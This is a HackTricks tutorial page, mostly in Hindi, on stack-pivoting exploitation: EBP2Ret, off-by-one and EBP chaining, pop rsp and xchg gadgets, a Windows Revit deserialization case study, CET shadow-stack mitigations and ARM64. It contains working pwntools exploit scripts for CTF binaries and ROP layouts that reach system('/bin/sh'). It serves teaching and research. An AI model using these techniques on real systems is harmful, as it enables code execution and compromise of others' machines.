Stack Pivoting

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

यह तकनीक Base Pointer (EBP/RBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि frame pointer और leave; ret निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई functions के execution को chain किया जा सके।

याद दिलाने के लिए, x86/x86-64 पर leave इसके बराबर है:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

और चूँकि सेव किया हुआ EBP/RBP सेव EIP/RIP से पहले stack में होता है, इसे stack को नियंत्रित करके नियंत्रित किया जा सकता है।

नोट्स

  • 64-bit पर, EBP→RBP और ESP→RSP से बदलें। अर्थ समान हैं।
  • कुछ compilers frame pointer को omit करते हैं (देखें “EBP might not be used”)। उस स्थिति में, leave मौजूद नहीं होगा और यह technique काम नहीं करेगी।

EBP2Ret

यह technique विशेष रूप से उपयोगी है जब आप saved EBP/RBP को बदल सकते हैं परंतु EIP/RIP को सीधे बदलने का कोई तरीका नहीं है। यह function epilogue के व्यवहार का लाभ उठाती है।

यदि fvuln के execution के दौरान आप stack में एक fake EBP inject करने में सफल होते हैं जो उस memory क्षेत्र को point करता है जहाँ आपका shellcode/ROP chain address रखा है (और pop के कारण amd64 पर अतिरिक्त 8 bytes / x86 पर 4 bytes), तो आप परोक्ष रूप से RIP को नियंत्रित कर सकते हैं। जब function return करता है, leave RSP को उस बनाई हुई location पर सेट करता है और उसके बाद का pop rbp RSP को घटाता है, जिससे यह प्रभावी रूप से उस address की ओर इशारा करता है जिसे attacker ने वहाँ रखा है। फिर ret उस address का उपयोग करेगा।

ध्यान दें कि आपको 2 addresses जानने की जरूरत है: वह address जहाँ ESP/RSP जायेगा, और उस address पर संग्रहीत value जिसे ret consume करेगा।

Exploit Construction

सबसे पहले आपको एक ऐसा address जानना होगा जहाँ आप arbitrary data/addresses लिख सकें। RSP यहाँ इशारा करेगा और पहले ret को consume करेगा

फिर, आपको ret द्वारा उपयोग किए जाने वाले उस address को चुनना होगा जो execution को स्थानांतरित करेगा। आप उपयोग कर सकते हैं:

  • एक मान्य ONE_GADGET address।
  • system() का address जिसके बाद उपयुक्त return और arguments (on x86: ret target = &system, फिर 4 junk bytes, फिर &"/bin/sh")।
  • एक jmp esp; gadget का address (ret2esp) जिसके बाद inline shellcode रखा गया हो।
  • writable memory में staged एक ROP chain।

याद रखें कि controlled क्षेत्र में इन किसी भी addresses से पहले leave के pop ebp/rbp के लिए space होना चाहिए (amd64 पर 8B, x86 पर 4B)। आप इन bytes का दुरुपयोग करके एक दूसरा fake EBP सेट कर सकते हैं और पहले कॉल के return के बाद नियंत्रण बनाए रख सकते हैं।

Off-By-One Exploit

एक वैरिएंट तब इस्तेमाल होता है जब आप केवल saved EBP/RBP के least significant byte को ही modify कर सकते हैं। ऐसे मामले में, उस memory location में जो address ret से jump करने के लिए रखा गया है, उसे original EBP/RBP के साथ पहले तीन/पांच bytes साझा करने चाहिए ताकि 1-byte overwrite से उसे redirect किया जा सके। आमतौर पर low byte (offset 0x00) को बढ़ाया जाता है ताकि नज़दीकी page/aligned region के भीतर जितना संभव हो उतना दूर कूदे।

साथ ही stack में RET sled का उपयोग करना और वास्तविक ROP chain को अंत में रखना आम है ताकि यह अधिक संभावित हो कि नया RSP sled के भीतर इशारा करे और अंतिम ROP chain execute हो।

EBP Chaining

stack के saved EBP slot में एक controlled address रखकर और EIP/RIP में एक leave; ret gadget रखकर, यह संभव है कि ESP/RSP को attacker-controlled address पर ले जाया जाए।

अब RSP नियंत्रित है और अगला instruction ret है। controlled memory में निम्नलिखित जैसा कुछ रखें:

  • &(next fake EBP) -> leave के pop ebp/rbp द्वारा लोड होता है।
  • &system() -> ret द्वारा कॉल किया जाता है।
  • &(leave;ret) -> system समाप्त होने के बाद, RSP को अगले fake EBP पर ले जाता है और जारी रखता है।
  • &("/bin/sh") -> system के लिए argument।

इस तरह कई fake EBP चेन करके program के flow को नियंत्रित करना संभव है।

यह एक ret2lib जैसा है, पर अधिक जटिल और केवल edge-cases में उपयोगी।

इसके अलावा, यहाँ एक example of a challenge है जो इस technique का उपयोग एक stack leak के साथ करके एक winning function को कॉल करता है। यह पेज का अंतिम payload है:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI call sites पर 16-बाइट stack alignment की आवश्यकता होती है। अगर आपकी chain system जैसी functions कॉल करती है, तो कॉल से पहले alignment gadget (उदा., ret, या sub rsp, 8 ; ret) जोड़ें ताकि alignment बना रहे और movaps crashes से बचें।

EBP का उपयोग नहीं किया जा सकता

जैसा कि explained in this post, अगर कोई binary कुछ optimizations के साथ या frame-pointer omission के साथ compiled है, तो EBP/RBP never controls ESP/RSP। इसलिए, कोई भी exploit जो EBP/RBP को नियंत्रित करके काम करता है विफल हो जाएगा क्योंकि prologue/epilogue frame pointer से restore नहीं करते।

  • अनऑप्टिमाइज़्ड / frame pointer का उपयोग किया गया:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • अनुकूलित / फ्रेम पॉइंटर हटाया गया:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

amd64 पर आप अक्सर pop rbp ; ret को leave ; ret के बजाय देखेंगे, लेकिन अगर frame pointer पूरी तरह से हटाया गया है तो pivot करने के लिए कोई rbp-आधारित epilogue मौजूद नहीं होगा।

RSP को नियंत्रित करने के अन्य तरीके

pop rsp gadget

In this page आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। उस challenge में एक function को 2 specific arguments के साथ कॉल करना आवश्यक था, और वहाँ एक pop rsp gadget था और एक leak from the stack मौजूद था:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp तकनीक के लिए यहाँ देखें:

Ret2esp / Ret2reg

pivot gadgets को जल्दी ढूँढना

अपने पसंदीदा gadget finder का उपयोग करके classic pivot primitives के लिए खोजें:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

उदाहरण:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

एक मजबूत pivot रणनीति जो कई CTFs/exploits में इस्तेमाल होती है:

  1. एक छोटा initial overflow उपयोग करके read/recv को एक बड़े writable region (उदा., .bss, heap, या mapped RW memory) में कॉल करें और वहाँ पूरा ROP chain रखें।
  2. RSP को उस region में ले जाने के लिए एक pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) पर return करें।
  3. staged chain के साथ आगे बढ़ें (उदा., leak libc, mprotect कॉल करें, फिर read shellcode, और फिर उस पर jump करें)।

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Client-side parsers कभी-कभी destructor loops लागू करते हैं जो attacker-controlled object fields से निकले हुए function pointer को indirectly call करते हैं। यदि हर iteration ठीक एक indirect call (एक “one-gadget” machine) ऑफर करता है, तो आप इसे एक reliable stack pivot और ROP entry में बदल सकते हैं।

Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Crafted objects of type AString offset 0 पर attacker bytes के लिए एक pointer रखते हैं।
  • The destructor loop प्रभावी रूप से प्रत्येक object पर एक gadget execute करता है:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains 8B E0mov esp, eax, eventually ret, to pivot from the call primitive to a heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (move original rax into rbp)
  • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.

Windows x64 के लिए pivot के बाद टिप्स:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites. It’s often convenient to place literals above the return address and use a gadget like lea rcx, [rsp+0x20] ; call rax followed by pop rax ; ret to pass stack addresses without corrupting control flow.
  • Non-ASLR helper modules (if present) provide stable gadget pools and imports such as LoadLibraryW/GetProcAddress to dynamically resolve targets like ucrtbase!system.
  • Creating missing gadgets via a writable thunk: if a promising sequence ends in a call through a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step like pop rax ; ret. The sequence then behaves like it ended with ret (e.g., mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.

पूर्ण चेन निर्माण और gadget उदाहरणों के लिए, नीचे दिए गए संदर्भ को देखें।

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes for labs/CTF:

  • Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets.

  • JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks ret-based pivots.

  • Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at ret; developers opt-in via CETCOMPAT and related policies (see reference).

ARM64

ARM64 में, फ़ंक्शन के prologue और epilogue स्टैक में SP रजिस्टर को स्टोर और रिट्रीव नहीं करते। इसके अलावा, RET निर्देश SP द्वारा पॉइंट किए गए पते पर रिटर्न नहीं करता, बल्कि x30 के अंदर रखे पते पर रिटर्न करता है।

इसलिए, डिफ़ॉल्ट रूप से केवल epilogue का दुरुपयोग करके आप स्टैक के कुछ डेटा को ओवरराइट कर के SP रजिस्टर को नियंत्रित नहीं कर पाएंगे। और भले ही आप SP को नियंत्रित कर लें, तब भी आपको x30 रजिस्टर को नियंत्रित करने का कोई तरीका चाहिए होगा।

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

ARM64 में stack pivoting जैसा कुछ करने का तरीका यह होगा कि आप पहले SP को नियंत्रित कर सकें (या तो किसी ऐसे रजिस्टर को नियंत्र करके जिसका मान SP को पास किया जाता है, या किसी वजह से SP स्टैक से अपना पता ले रहा हो और हमारे पास एक overflow हो) और फिर epilogue का दुरुपयोग करके नियंत्रित SP से x30 रजिस्टर लोड करें और उस पर RET करें।

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें